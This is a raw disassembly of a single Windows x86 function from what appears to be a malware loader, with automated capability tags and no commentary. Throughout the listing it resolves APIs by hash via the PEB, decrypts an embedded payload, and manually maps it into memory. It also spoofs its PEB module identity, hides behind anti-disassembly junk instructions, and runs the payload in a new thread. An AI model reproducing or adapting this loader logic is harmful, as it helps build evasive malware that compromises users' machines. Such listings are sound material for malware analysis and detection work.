Function at 0x4022f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x198
mov eax, dword [0x42a010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
add eax, 0x3a
jne 0x40231f
call 0x3dcb8806
xor byte [eax], al
add byte [eax], al
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x4ac200], eax
push str.FreeConsole
push dword [0x4ac200]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
call eax
mov eax, 0x169
cmp eax, 0x26
ja 0x402363
call 0x8cc5ea17
invalid
mov byte [ebp - 0x174], 0
je 0x402370
jne 0x402370
jmp 0x307daefc
mov edi, dword [sym.imp.USER32.dll_ReleaseDC]
xor esi, esi
push 0
push 0
call edi
add byte [esi + section..cSS], 0x4b
push 0
push 0
call edi
add byte [esi + section..cSS], 0xc
push 0
push 0
call edi
add byte [esi + section..cSS], 0xb
push 0
push 0
call edi
xor byte [esi + section..cSS], 0x35
push 0
push 0
call edi
add byte [esi + section..cSS], 0x5f
push 0
push 0
call edi
add byte [esi + section..cSS], 0x9a
push 0
push 0
call edi
add byte [esi + section..cSS], 0xd6
push 0
push 0
call edi
xor byte [esi + section..cSS], 0x6e
push 0
push 0
call edi
add byte [esi + section..cSS], 0xa5
push 0
push 0
call edi
add byte [esi + section..cSS], 0x26
push 0
push 0
call edi
xor byte [esi + section..cSS], 0x81
push 0
push 0
call edi
add byte [esi + section..cSS], 0x10
push 0
push 0
call edi
xor byte [esi + section..cSS], 0xfe
push 0
push 0
call edi
add byte [esi + section..cSS], 0x5d
inc esi
cmp esi, 0x80200
jb 0x402378
mov edi, dword [0x42c03c]
mov dword [ebp - 0x160], edi
mov eax, 0x11
mov al, byte [0xb8fffffe]
adc dword [eax], eax
add byte [eax], al
cmp eax, 0x13e
jl 0x402455
call 0x3ba6dece
push ds
jae 0x402443
mov edx, 0x731e3b66
call fcn.00402000
mov ecx, eax
je 0x402467
mov eax, dword [0x8bfffffb]
enter 0x474, 0x75
add ch, al
jne 0x40246d
jne 0x402467
call 0x744499a0
add ch, cl
adc eax, 0x17b8
add byte [0x11f], bh
jne 0x40246d
je 0x40246d
jmp 0x57dc85
mov eax, 0x17
cmp eax, 0x11f
jl 0x40247b
call 0x68448e9b
add byte [eax], dl
add byte [eax], al
push 4
push 0x1000
push dword [edi + 0x42c050]
push 0
call ecx
push dword [edi + 0x42c054]
mov esi, eax
push section..cSS
push esi
mov dword [ebp - 0x188], esi
call fcn.00406d40
add esp, 0xc
stc
jb 0x4024ad
call 0xc80057b6
test dword [esi + edi*8 + 0xffff], ebx
add byte [eax], al
xor eax, eax
mov dword [ebp - 0x164], 0
cmp ax, word [edi + 0x42c006]
jae 0x402510
lea ecx, [edi + 0x42c10c]
mov dword [ebp - 0x154], ecx
nop
push dword [ecx - 4]
mov eax, dword [ecx]
add eax, section..cSS
push eax
mov eax, dword [ecx - 8]
add eax, esi
push eax
call fcn.00406d40
mov edx, dword [ebp - 0x164]
add esp, 0xc
mov ecx, dword [ebp - 0x154]
inc edx
movzx eax, word [edi + 0x42c006]
add ecx, 0x28
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x154], ecx
cmp edx, eax
jl 0x4024d0
mov eax, dword [edi + 0x42c080]
mov edx, 0x5aefa0fb
add eax, esi
mov dword [ebp - 0x158], eax
call fcn.00402000
mov dword [ebp - 0x180], eax
stc
jb 0x402533
call 0xa8c5b06d
invalid
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x178], 0
cmp dword [eax], 0
je 0x4027ff
mov ecx, eax
mov dword [ebp - 0x168], eax
sub eax, eax
je 0x40255a
call 0xc91b0eb
mov edx, dword [ecx + 0xc]
xorps xmm0, xmm0
add edx, esi
movaps xmmword [ebp - 0x150], xmm0
mov ecx, edx
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402588
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x150]
call fcn.00403130
mov dword [ebp - 0x10], 0x7e72627c
xor eax, eax
mov dword [ebp - 0xc], 0x3f747463
mov dword [ebp - 8], 0x7d7d75
xor byte [ebp + eax - 0x10], 0x11
inc eax
cmp eax, 0xb
jb 0x4025b5
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
lea ecx, [ebp - 0x10]
movaps xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4025e4
sub ecx, edx
lea eax, [ebp - 0x10]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00403130
cmp dword [ebp - 0x11c], 0x10
lea ecx, [ebp - 0x130]
mov eax, dword [ebp - 0x130]
lea edx, [ebp - 0x150]
mov edi, dword [ebp - 0x140]
cmovae ecx, eax
cmp dword [ebp - 0x13c], 0x10
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x150]
cmovae edx, eax
mov dword [ebp - 0x164], eax
cmp edi, dword [ebp - 0x120]
jne 0x40268f
sub edi, 4
jb 0x402659
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40265e
add edx, 4
add ecx, 4
sub edi, 4
jae 0x402648
cmp edi, 0xfffffffc
je 0x40268b
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x40268f
cmp edi, 0xfffffffd
je 0x40268b
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x40268f
cmp edi, 0xfffffffe
je 0x40268b
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x40268f
cmp edi, 0xffffffff
je 0x40268b
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
jne 0x40268f
mov al, 1
jmp 0x402691
xor al, al
mov ecx, dword [ebp - 0x174]
test al, al
push dword [ebp - 0x170]
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x174], ecx
call dword [ebp - 0x180]
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x184], eax
mov eax, dword [edx]
add eax, esi
mov dword [ebp - 0x168], eax
mov eax, dword [edx + 0x10]
mov edx, 0xa7c20233
add eax, esi
mov dword [ebp - 0x16c], eax
call fcn.00402000
mov edx, eax
xor edi, edi
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x15c], edx
mov ecx, dword [eax]
test ecx, ecx
je 0x402740
mov dword [ebp - 0x170], edi
nop dword [eax]
lea eax, [esi + 2]
add eax, ecx
push eax
push dword [ebp - 0x184]
call edx
mov ecx, dword [ebp - 0x170]
lea edi, [edi + 1]
mov edx, dword [ebp - 0x16c]
mov dword [ecx + edx], eax
lea eax, [edi*4]
mov ecx, dword [ebp - 0x168]
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x170], eax
mov ecx, dword [eax + ecx]
test ecx, ecx
jne 0x402700
mov eax, dword [ebp - 0x11c]
cmp eax, 0x10
jb 0x402788
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x154]
mov edx, eax
cmp ecx, 0x1000
jb 0x40277e
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x154], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x402d5e
mov eax, dword [ebp - 0x154]
push ecx
push eax
call fcn.00405a95
add esp, 8
mov eax, dword [ebp - 0x13c]
cmp eax, 0x10
jb 0x4027d0
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x164]
mov edx, eax
cmp ecx, 0x1000
jb 0x4027c6
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x164], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x402d5e
mov eax, dword [ebp - 0x164]
push ecx
push eax
call fcn.00405a95
add esp, 8
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x178], eax
lea eax, [eax + eax*4]
cmp dword [ecx + eax*4], 0
lea ecx, [ecx + eax*4]
mov dword [ebp - 0x168], ecx
jne 0x402554
mov edi, dword [ebp - 0x160]
mov ecx, dword [edi + 0x42c0a0]
add ecx, esi
mov dword [ebp - 0x154], ecx
xor eax, eax
je 0x402813
jmp 0x1009adcd
test ecx, ecx
je 0x4028f6
cmp dword [ecx], 0
je 0x4028f6
mov eax, 0x32
cmp eax, 0x1a3
jl 0x402832
call 0x481b580
lea eax, [ecx + 4]
mov edi, 0
mov dword [ebp - 0x16c], eax
mov eax, dword [eax]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x15c], eax
lea eax, [ecx + 8]
mov dword [ebp - 0x158], eax
je 0x4028d9
nop dword [eax]
mov eax, 0x78
cmp eax, 0xe
ja 0x40286c
jmp 0xa8c5b372
mov eax, dword [ebp - 0x158]
movzx ecx, word [eax + edi*2]
mov eax, 0x1d
cmp eax, 0x141
jl 0x402884
jmp 0xa8c5b39a
mov eax, dword [ebp - 0x158]
and ecx, 0xfffff000
movzx edx, word [eax + edi*2]
and edx, 0xfff
cmp ecx, 0x3000
jne 0x4028ca
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
add ecx, edx
mov eax, dword [eax + 0x42c034]
sub dword [ecx + esi], eax
mov ecx, dword [ebp - 0x154]
mov eax, dword [ecx]
add eax, edx
add dword [eax + esi], esi
jmp 0x4028d0
mov ecx, dword [ebp - 0x154]
inc edi
cmp edi, dword [ebp - 0x15c]
jb 0x402860
mov eax, dword [ebp - 0x16c]
add ecx, dword [eax]
mov dword [ebp - 0x154], ecx
cmp dword [ecx], 0
jne 0x402824
mov edi, dword [ebp - 0x160]
mov edx, 0x8aafdc01
call fcn.00402000
mov ecx, eax
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x16c], ecx
sub eax, eax
je 0x402918
jmp 0x84c5b683
lea eax, [ebp - 0x17c]
push eax
push 2
push dword [edi + 0x42c054]
push esi
call ecx
xor eax, eax
mov dword [ebp - 0x158], 0
cmp ax, word [edi + 0x42c006]
jae 0x4029c1
lea ecx, [edi + 0x42c11c]
mov dword [ebp - 0x160], ecx
nop
mov eax, dword [ecx - 0x18]
add eax, esi
mov dword [ebp - 0x15c], eax
mov eax, dword [ecx]
je 0x402963
jne 0x402963
call 0xc208b4f7
stc
pop ds
mov ecx, eax
sar ecx, 0x1f
test eax, 0x20000000
je 0x402977
and ecx, 0x20
add ecx, 0x20
jmp 0x40297d
and ecx, 2
add ecx, 2
lea eax, [ebp - 0x17c]
push eax
mov eax, dword [ebp - 0x160]
push ecx
push dword [eax - 0x1c]
push dword [ebp - 0x15c]
call dword [ebp - 0x16c]
mov edx, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x160]
inc edx
movzx eax, word [edi + 0x42c006]
add ecx, 0x28
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x160], ecx
cmp edx, eax
jl 0x402950
mov eax, dword [edi + 0x42c028]
add eax, esi
mov dword [ebp - 0x190], 0
cmp byte [ebp - 0x174], 0
mov esi, 0xff
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x108], 0xc500bc
mov dword [ebp - 0x104], 0xa300a3
mov dword [ebp - 0x100], 0x9600a8
mov dword [ebp - 0xfc], 0x9b0091
mov dword [ebp - 0xf8], 0x880090
mov dword [ebp - 0xf4], 0xa3008c
mov dword [ebp - 0xf0], 0x9600b2
mov dword [ebp - 0xec], 0x8d009c
mov dword [ebp - 0xe8], 0x8c0090
mov dword [ebp - 0xe4], 0x990090
mov dword [ebp - 0xe0], 0xd1008b
mov dword [ebp - 0xdc], 0xba00b1
mov dword [ebp - 0xd8], 0xa300ab
mov dword [ebp - 0xd4], 0x8d00b9
mov dword [ebp - 0xd0], 0x92009e
mov dword [ebp - 0xcc], 0x88009a
mov dword [ebp - 0xc8], 0x8d0090
mov dword [ebp - 0xc4], 0xa30094
mov dword [ebp - 0xc0], 0xcb0089
mov dword [ebp - 0xbc], 0xcf00d1
mov dword [ebp - 0xb8], 0xcc00d1
mov dword [ebp - 0xb4], 0xcc00cf
mov dword [ebp - 0xb0], 0xc600ce
mov dword [ebp - 0xac], 0xbe00a3
mov dword [ebp - 0xa8], 0x8f008f
mov dword [ebp - 0xa4], 0x9e00b3
mov dword [ebp - 0xa0], 0x91008a
mov dword [ebp - 0x9c], 0x97009c
mov dword [ebp - 0x98], 0x9a00d1
mov dword [ebp - 0x94], 0x9a0087
mov dword [ebp - 0x90], 0xff00ff
mov dword [ebp - 0x8c], 0xff00ff
mov dword [ebp - 0x88], 0xff00ff
mov dword [ebp - 0x84], 0xff00ff
mov dword [ebp - 0x80], 0xff00ff
mov dword [ebp - 0x7c], 0xff00ff
mov dword [ebp - 0x78], 0xff00ff
mov dword [ebp - 0x74], 0x3d92dc2c
mov dword [ebp - 0x70], 0xc26d23d3
mov dword [ebp - 0x6c], 0xff00ff
mov dword [ebp - 0x68], 0xff00fe
mov dword [ebp - 0x64], 0xff00fe
mov dword [ebp - 0x60], 0xff00fe
mov dword [ebp - 0x5c], 0xff00fe
mov dword [ebp - 0x58], 0xff00fe
mov dword [ebp - 0x54], 0xff00ff
mov dword [ebp - 0x50], 0xff00ff00
mov dword [ebp - 0x4c], 0xff00fe
mov dword [ebp - 0x48], 0xff00d0
mov dword [ebp - 0x44], 0xff00fe
mov dword [ebp - 0x40], 0xff00ff
mov dword [ebp - 0x3c], 0xff00ff
mov dword [ebp - 0x38], 0xff00ff
mov dword [ebp - 0x34], 0xff00ff
mov dword [ebp - 0x30], 0xff00ff
mov dword [ebp - 0x2c], 0xff00ff
mov dword [ebp - 0x28], 0xff00ff
mov dword [ebp - 0x24], 0xff00ff
mov dword [ebp - 0x20], 0xff00ff
mov dword [ebp - 0x1c], 0xff00ff
mov dword [ebp - 0x18], 0xff00ff
je 0x402ce9
mov eax, 0x32
cmp eax, 0x6d
jl 0x402c12
jmp 0x15683b9f
movaps xmm2, xmmword [0x4278c0]
xor eax, eax
nop dword [eax + eax]
movups xmm0, xmmword [ebp + eax*2 - 0x108]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [ebp + eax*2 - 0x108], xmm0
movups xmm0, xmmword [ebp + eax*2 - 0xf8]
pxor xmm0, xmm2
movups xmmword [ebp + eax*2 - 0xf8], xmm0
movups xmm0, xmmword [ebp + eax*2 - 0xe8]
pxor xmm1, xmm0
movups xmmword [ebp + eax*2 - 0xe8], xmm1
movups xmm0, xmmword [ebp + eax*2 - 0xd8]
pxor xmm0, xmm2
movups xmmword [ebp + eax*2 - 0xd8], xmm0
add eax, 0x20
cmp eax, 0xe0
jb 0x402c20
cmp eax, 0xf4
jae 0x402ca0
nop dword [eax]
nop dword [eax + eax]
xor word [ebp + eax*2 - 0x108], si
inc eax
cmp eax, 0xf4
jb 0x402c90
mov eax, 4
cmp eax, 0x12f
jl 0x402cae
jmp 0x30e1914f
mov eax, dword fs:[0x30]
mov ecx, eax
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
sub eax, 8
mov edx, dword [ebp - 0x188]
mov dword [ecx + 8], edx
mov dword [eax + 0x18], edx
add eax, 0x24
mov esi, eax
lea edi, [ebp - 0x190]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
mov dword [ecx + 4], edx
mov dword [ecx], 0x78
mov edx, 0x6f0c3cd
call fcn.00402000
mov ecx, eax
mov eax, 0x65
cmp eax, 9
ja 0x402d01
call 0x6cc5ba33
invalid
lea eax, [ebp - 0x194]
push eax
push 0
push 0
push dword [ebp - 0x15c]
push 0
push 0
call ecx
mov esi, eax
test esi, esi
je 0x402d4b
mov edx, 0x916d883f
call fcn.00402000
push 0x1f4
call eax
mov edx, 0xf8f151be
call fcn.00402000
push 0xffffffffffffffff
push esi
call eax
mov edx, 0x4f3647b6
call fcn.00402000
push esi
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405a57
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040a52a
int3